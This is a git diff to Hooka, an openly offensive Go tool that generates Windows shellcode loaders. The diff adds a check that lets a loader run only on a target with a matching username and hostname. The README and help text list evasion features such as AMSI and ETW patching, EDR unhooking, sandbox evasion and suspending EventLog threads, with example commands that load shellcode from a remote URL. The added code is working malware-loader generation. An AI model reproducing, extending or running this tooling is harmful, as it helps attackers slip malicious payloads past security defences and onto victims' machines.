diff --git a/LICENSE b/LICENSE index 494404a..ef74cb6 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2024 D3Ext +Copyright (c) 2025 D3Ext Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/Makefile b/Makefile index 9103264..38ad2fd 100644 --- a/Makefile +++ b/Makefile @@ -16,13 +16,13 @@ linux: $(LINUX) ## Build for Linux darwin: $(DARWIN) ## Build for Darwin (macOS) $(WINDOWS): - GOOS=windows GOARCH=amd64 go build -o build/$(WINDOWS) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go + GOOS=windows GOARCH=amd64 go build -o build/$(WINDOWS) -ldflags="-s -w" ./cmd/main.go $(LINUX): - GOOS=linux GOARCH=amd64 go build -o build/$(LINUX) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go + GOOS=linux GOARCH=amd64 go build -o build/$(LINUX) -ldflags="-s -w" ./cmd/main.go $(DARWIN): - GOOS=darwin GOARCH=amd64 go build -o build/$(DARWIN) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go + GOOS=darwin GOARCH=amd64 go build -o build/$(DARWIN) -ldflags="-s -w" ./cmd/main.go clean: ## Remove previous build rm -f build/$(WINDOWS) build/$(LINUX) build/$(DARWIN) diff --git a/README.md b/README.md index b9df67d..67be46b 100644 --- a/README.md +++ b/README.md @@ -30,7 +30,7 @@ # Introduction -Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Why not? +Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Although it's not the perfect language for malware dev, it works perfectly for testing purposes. Obviously if you want something professional and foolproof you should create your own loader in C++, C# or similars. # Features @@ -57,6 +57,7 @@ This tool is able to generate loaders with this features: - Random variables and function names - Shikata Ga Nai obfuscation (see [here](https://github.com/EgeBalci/sgn)) - Multiple ways to detect sandboxing +- Check if username and computer name match before running - Enable ACG Guard protection - Block non-Microsoft signed DLLs from injecting into created processes @@ -89,12 +90,6 @@ After that you will find the binary under the `build/` folder > Help panel ``` - _ _ _ _ - | | | | ___ ___ | | __ __ _ | | - | |_| | / _ \ / _ \ | |/ / / _` | | | - | _ | | (_) | | (_) | | < | (_| | |_| - |_| |_| \___/ \___/ |_|\_\ \__,_| (_) - Usage of Hooka: REQUIRED: -i, --input string payload to inject in raw format, as PE, as DLL or from a URL @@ -122,15 +117,17 @@ Usage of Hooka: --strings obfuscate strings using Caesar cipher EVASION: - --unhook string unhooking technique to use (available: full, peruns) - --sandbox enable sandbox evasion - --no-amsi don't patch AMSI - --no-etw don't patch ETW - --hashing use hashes to retrieve function pointers - --acg enable ACG Guard to prevent AV/EDR from modifying existing executable code - --blockdlls prevent non-Microsoft signed DLLs from injecting in child processes - --phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step - --sleep delay shellcode execution using a custom sleep function + --unhook string unhooking technique to use (available: full, peruns) + --sandbox enable sandbox evasion + --no-amsi don't patch AMSI + --no-etw don't patch ETW + --hashing use hashes to retrieve function pointers + --user string proceed only when the user running the loader is the expected (i.e. DESKTOP-E1D6G0A\admin) + --computername string proceed only when the computer name is the expected (i.e. DESKTOP-E1D6G0A) + --acg enable ACG Guard to prevent AV/EDR from modifying existing executable code + --blockdlls prevent non-Microsoft signed DLLs from injecting in child processes + --phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step + --sleep delay shellcode execution using a custom sleep function EXTRA: --calc use a calc.exe shellcode to test loader capabilities (don't provide input file) @@ -142,7 +139,7 @@ Usage of Hooka: Examples: hooka -i shellcode.bin -o loader.exe hooka -i http://192.168.1.126/shellcode.bin -o loader.exe - hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep 60 --acg + hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose ``` @@ -161,6 +158,7 @@ $ hooka_linux_amd64 -i shellcode.bin -o loader.dll -f dll $ hooka_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose $ hooka_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls $ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose +$ hooka_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0A\tom" --computername "DESKTOP-E1D6G0A" --compress --strings ``` # Demo @@ -171,10 +169,9 @@ $ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --doma # TODO +- ~~Check username and hostname before running~~ - Add direct and indirect syscall - Add Chacha20 cypher to encrypt shellcode -- More OPSEC features -- General improvement # Library @@ -216,7 +213,7 @@ Use this project under your own responsability! The author is not responsible of This project is under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license -Copyright © 2024, *D3Ext* +Copyright © 2025, *D3Ext* diff --git a/cmd/main.go b/cmd/main.go index 64268d1..d7a33d1 100644 --- a/cmd/main.go +++ b/cmd/main.go @@ -70,15 +70,17 @@ Usage of Hooka: --strings obfuscate strings using Caesar cipher EVASION: - --unhook string unhooking technique to use (available: full, peruns) - --sandbox enable sandbox evasion - --no-amsi don't patch AMSI - --no-etw don't patch ETW - --hashing use hashes to retrieve function pointers - --acg enable ACG Guard to prevent AV/EDR from modifying existing executable code - --blockdlls prevent non-Microsoft signed DLLs from injecting in child processes - --phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step - --sleep delay shellcode execution using a custom sleep function + --unhook string unhooking technique to use (available: full, peruns) + --sandbox enable sandbox evasion + --no-amsi don't patch AMSI + --no-etw don't patch ETW + --hashing use hashes to retrieve function pointers + --user string proceed only when the user running the loader is the expected (i.e. DESKTOP-E1D6G0A\admin) + --computername string proceed only when the computer name is the expected (i.e. DESKTOP-E1D6G0A) + --acg enable ACG Guard to prevent AV/EDR from modifying existing executable code + --blockdlls prevent non-Microsoft signed DLLs from injecting in child processes + --phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step + --sleep delay shellcode execution using a custom sleep function EXTRA: --calc use a calc.exe shellcode to test loader capabilities (don't provide input file) @@ -90,7 +92,7 @@ Usage of Hooka: Examples: hooka -i shellcode.bin -o loader.exe hooka -i http://192.168.1.126/shellcode.bin -o loader.exe - hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep 60 --acg + hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose `) } @@ -104,7 +106,7 @@ var buffer bytes.Buffer func main() { // define variables that will hold CLI arguments values - var input_file, output_file, format, arch, exec_technique, unhook, cert, domain, encrypt, process string + var input_file, output_file, format, arch, exec_technique, unhook, username, computername, cert, domain, encrypt, process string var sgn, str_obfs, sandbox, noamsi, noetw, hashing, acg, blockdlls, phantom, sleep_time, calc, compress, rand, verbose, help bool // Main arguments @@ -138,6 +140,8 @@ func main() { flag.BoolVar(&noamsi, "no-amsi", false, "") flag.BoolVar(&noetw, "no-etw", false, "") flag.BoolVar(&hashing, "hashing", false, "") + flag.StringVar(&username, "user", "", "") + flag.StringVar(&computername, "computername", "", "") flag.BoolVar(&acg, "acg", false, "") flag.BoolVar(&blockdlls, "blockdlls", false, "") flag.BoolVar(&phantom, "phantom", false, "") @@ -163,6 +167,14 @@ func main() { os.Exit(0) } + var err error + + _, err = exec.LookPath("go") + if err != nil { + fmt.Println("[-] \"go\" binary is not found on path and it is required to compile the loader") + log.Fatal(err) + } + // check if needed arguments were given if (input_file == "") && (!calc) { banner() @@ -295,7 +307,6 @@ func main() { var exports []string var functions []string var dlls_to_unhook []string - var err error // Create template which will hold loader code Main := &LoaderTemplate{} @@ -2105,6 +2116,20 @@ func {{.Vars.sleep_func}}() { functions = utils.AppendString(functions, ParseTemplate(sleep_func, Main)) } + if (username != "") { + imports = utils.AppendString(imports, "os/user") + + Main.Vars["username"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["username_to_check"] = utils.RandomString(utils.RandomInt(9,10)) + } + + if (computername != "") { + imports = utils.AppendString(imports, "os") + + Main.Vars["computername"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["computername_to_check"] = utils.RandomString(utils.RandomInt(9,10)) + } + if (verbose) { fmt.Println() } @@ -2806,6 +2831,32 @@ func ` + func_name + `(){ ` } + if (username != "") { + main_func = main_func + ` + {{.Vars.username}}, {{.Vars.err}} := user.Current() + if {{.Vars.err}} != nil { + return + } + + if ({{.Vars.username}}.Username != ` + ObfuscateStr(username, str_obfs) + `) { + return + } +` + } + + if (computername != "") { + main_func = main_func + ` + {{.Vars.computername}}, {{.Vars.err}} := os.Hostname() + if {{.Vars.err}} != nil { + return + } + + if ({{.Vars.computername}} != ` + ObfuscateStr(computername, str_obfs) + `) { + return + } +` + } + // add sandboxing functions if (sandbox) { main_func = main_func + ` @@ -2986,6 +3037,7 @@ var {{.Vars.shellcode}} []byte if err != nil { log.Fatal(err) } + defer os.Remove("loader.go") fmt.Println("[*] Compiling shellcode loader...") time.Sleep(100 * time.Millisecond) @@ -3094,8 +3146,6 @@ var {{.Vars.shellcode}} []byte fmt.Println("\n[+] Shellcode loader has been successfully generated") - os.Remove("loader.go") - if (format == "dll") { os.Remove(strings.Split(output_file, ".")[0] + ".h") // remove header file (e.g. loader.h) } @@ -3179,28 +3229,53 @@ import ( // function to compile loader code based on provided arguments func CompileLoader(format string, output_file string, compress bool, arch string) error { + // check if go.mod file exists + _, err := os.Stat("go.mod") + if os.IsNotExist(err) { + + // if it doesn't exist, then create it + mod_cmd := exec.Command("go", "mod", "init", "hooka_ldr") + err = mod_cmd.Run() + if err != nil { + return err + } + defer os.Remove("go.mod") + + // if go.mod didn't exist we also need to download the windows library + get_cmd := exec.Command("go", "get", "golang.org/x/sys/windows") + err = get_cmd.Run() + if err != nil { + return err + } + defer os.Remove("go.sum") + } + // define command to compile source code var compile_cmd *exec.Cmd // compile as .EXE if (format == "exe") { if (compress) { + fmt.Println(" > go", "build", "-ldflags", "-w -s", "-o", output_file, "loader.go") compile_cmd = exec.Command("go", "build", "-ldflags", "-w -s", "-o", output_file, "loader.go") } else { + fmt.Println(" > go", "build", "-o", output_file, "loader.go") compile_cmd = exec.Command("go", "build", "-o", output_file, "loader.go") } } else if (format == "dll") { // compile as .DLL if (compress) { + fmt.Println(" > go", "build", "-ldflags", "-w -s", "-buildmode=c-shared", "-o", output_file, "loader.go") compile_cmd = exec.Command("go", "build", "-ldflags", "-w -s", "-buildmode=c-shared", "-o", output_file, "loader.go") } else { + fmt.Println(" > go", "build", "-buildmode=c-shared", "-o", output_file, "loader.go") compile_cmd = exec.Command("go", "build", "-buildmode=c-shared", "-o", output_file, "loader.go") } } compile_cmd.Env = append(os.Environ(), "GOARCH=" + arch, "GOOS=windows", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc") - err := compile_cmd.Run() + err = compile_cmd.Run() if err != nil { - fmt.Println("[-] Error while compiling loader!") + fmt.Println("\n[-] Error while compiling loader:") return err }